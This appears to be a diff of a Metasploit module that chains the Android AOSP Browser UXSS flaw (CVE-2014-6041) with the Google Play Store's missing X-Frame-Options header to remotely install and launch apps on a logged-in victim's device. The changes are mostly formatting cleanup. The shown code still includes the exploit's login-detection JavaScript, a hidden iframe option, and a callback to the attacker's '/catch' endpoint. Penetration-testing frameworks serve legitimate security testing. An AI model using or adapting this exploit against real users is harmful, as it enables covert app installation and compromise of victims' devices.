@@ -8,38 +8,46 @@ class MetasploitModule < Msf::Auxiliary
88 include Msf ::Auxiliary ::Report
99
1010 def initialize ( info = { } )
11- super ( update_info ( info ,
12- 'Name' => 'Android Browser RCE Through Google Play Store XFO' ,
13- 'Description' => %q{
14- This module combines two vulnerabilities to achieve remote code
15- execution on affected Android devices. First, the module exploits
16- CVE-2014-6041, a Universal Cross-Site Scripting (UXSS) vulnerability present in
17- versions of Android's open source stock browser (the AOSP Browser) prior to
18- 4.4. Second, the Google Play store's web interface fails to enforce a
19- X-Frame-Options: DENY header (XFO) on some error pages, and therefore, can be
20- targeted for script injection. As a result, this leads to remote code execution
21- through Google Play's remote installation feature, as any application available
22- on the Google Play store can be installed and launched on the user's device.
23-
24- This module requires that the user is logged into Google with a vulnerable browser.
25-
26- To list the activities in an APK, you can use `aapt dump badging /path/to/app.apk`.
27- } ,
28- 'Author' => [
29- 'Rafay Baloch' , # Original UXSS vulnerability
30- 'joev' # Play Store vector and Metasploit module
31- ] ,
32- 'License' => MSF_LICENSE ,
33- 'Actions' => [ [ 'WebServer' , 'Description' => 'Serve exploit via web server' ] ] ,
34- 'PassiveActions' => [ 'WebServer' ] ,
35- 'References' => [
36- [ 'URL' , 'http://web.archive.org/web/20230321034739/https://www.rapid7.com/blog/post/2014/09/15/major-android-bug-is-a-privacy-disaster-cve-2014-6041/' ] ,
37- [ 'URL' , 'https://web.archive.org/web/20150316151817/http://1337day.com/exploit/description/22581' ] ,
38- [ 'OSVDB' , '110664' ] ,
39- [ 'CVE' , '2014-6041' ]
40- ] ,
41- 'DefaultAction' => 'WebServer'
42- ) )
11+ super (
12+ update_info (
13+ info ,
14+ 'Name' => 'Android Browser RCE Through Google Play Store XFO' ,
15+ 'Description' => %q{
16+ This module combines two vulnerabilities to achieve remote code
17+ execution on affected Android devices. First, the module exploits
18+ CVE-2014-6041, a Universal Cross-Site Scripting (UXSS) vulnerability present in
19+ versions of Android's open source stock browser (the AOSP Browser) prior to
20+ 4.4. Second, the Google Play store's web interface fails to enforce a
21+ X-Frame-Options: DENY header (XFO) on some error pages, and therefore, can be
22+ targeted for script injection. As a result, this leads to remote code execution
23+ through Google Play's remote installation feature, as any application available
24+ on the Google Play store can be installed and launched on the user's device.
25+
26+ This module requires that the user is logged into Google with a vulnerable browser.
27+
28+ To list the activities in an APK, you can use `aapt dump badging /path/to/app.apk`.
29+ } ,
30+ 'Author' => [
31+ 'Rafay Baloch' , # Original UXSS vulnerability
32+ 'joev' # Play Store vector and Metasploit module
33+ ] ,
34+ 'License' => MSF_LICENSE ,
35+ 'Actions' => [ [ 'WebServer' , { 'Description' => 'Serve exploit via web server' } ] ] ,
36+ 'PassiveActions' => [ 'WebServer' ] ,
37+ 'References' => [
38+ [ 'URL' , 'http://web.archive.org/web/20230321034739/https://www.rapid7.com/blog/post/2014/09/15/major-android-bug-is-a-privacy-disaster-cve-2014-6041/' ] ,
39+ [ 'URL' , 'https://web.archive.org/web/20150316151817/http://1337day.com/exploit/description/22581' ] ,
40+ [ 'OSVDB' , '110664' ] ,
41+ [ 'CVE' , '2014-6041' ]
42+ ] ,
43+ 'DefaultAction' => 'WebServer' ,
44+ 'Notes' => {
45+ 'Stability' => [ CRASH_SAFE ] ,
46+ 'SideEffects' => [ IOC_IN_LOGS , ARTIFACTS_ON_DISK ] ,
47+ 'Reliability' => [ ]
48+ }
49+ )
50+ )
4351
4452 register_options ( [
4553 OptString . new ( 'PACKAGE_NAME' , [
@@ -53,10 +61,10 @@ def initialize(info = {})
5361 'com.swlkr.rickrolld/.RickRoll'
5462 ] ) ,
5563 OptBool . new ( 'DETECT_LOGIN' , [
56- true , " Prevents the exploit from running if the user is not logged into Google" , true
64+ true , ' Prevents the exploit from running if the user is not logged into Google' , true
5765 ] ) ,
5866 OptBool . new ( 'HIDE_IFRAME' , [
59- true , " Hide the exploit iframe from the user" , true
67+ true , ' Hide the exploit iframe from the user' , true
6068 ] )
6169 ] )
6270 end
@@ -68,7 +76,7 @@ def on_request_uri(cli, request)
6876 print_error request . body [ 0 ..400 ]
6977 send_response_html ( cli , '' )
7078 else
71- print_status ( " Sending initial HTML ..." )
79+ print_status ( ' Sending initial HTML ...' )
7280 send_response_html ( cli , exploit_html )
7381 end
7482 end
@@ -140,7 +148,7 @@ def exploit_html
140148
141149 def detect_login_js
142150 if datastore [ 'DETECT_LOGIN' ]
143- %Q |
151+ %|
144152 var img = document.createElement('img');
145153 img.onload = exploit;
146154 img.onerror = function() {
@@ -150,7 +158,7 @@ def detect_login_js
150158 x.send('Exploit failed: user is not logged into google.com')
151159 };
152160 img.setAttribute('style', HIDDEN_STYLE);
153- var rand = '&d=#{ Rex ::Text . rand_text_alphanumeric ( rand ( 12 ) + 5 ) } ';
161+ var rand = '&d=#{ Rex ::Text . rand_text_alphanumeric ( rand ( 5 .. 16 ) ) } ';
154162 img.setAttribute('src', 'https://accounts.google.com/CheckCookie?continue=https%3A%2F%2Fwww.google.com%2Fintl%2Fen%2Fimages%2Flogos%2Faccounts_logo.png'+rand);
155163 document.body.appendChild(img);
156164 |
@@ -168,7 +176,7 @@ def hidden_css
168176 end
169177
170178 def backend_url
171- proto = ( datastore [ " SSL" ] ? " https" : " http" )
179+ proto = ( datastore [ ' SSL' ] ? ' https' : ' http' )
172180 myhost = ( datastore [ 'SRVHOST' ] == '0.0.0.0' ) ? Rex ::Socket . source_address : datastore [ 'SRVHOST' ]
173181 port_str = ( datastore [ 'SRVPORT' ] . to_i == 80 ) ? '' : ":#{ datastore [ 'SRVPORT' ] } "
174182 "#{ proto } ://#{ myhost } #{ port_str } /#{ datastore [ 'URIPATH' ] } /catch"
0 commit comments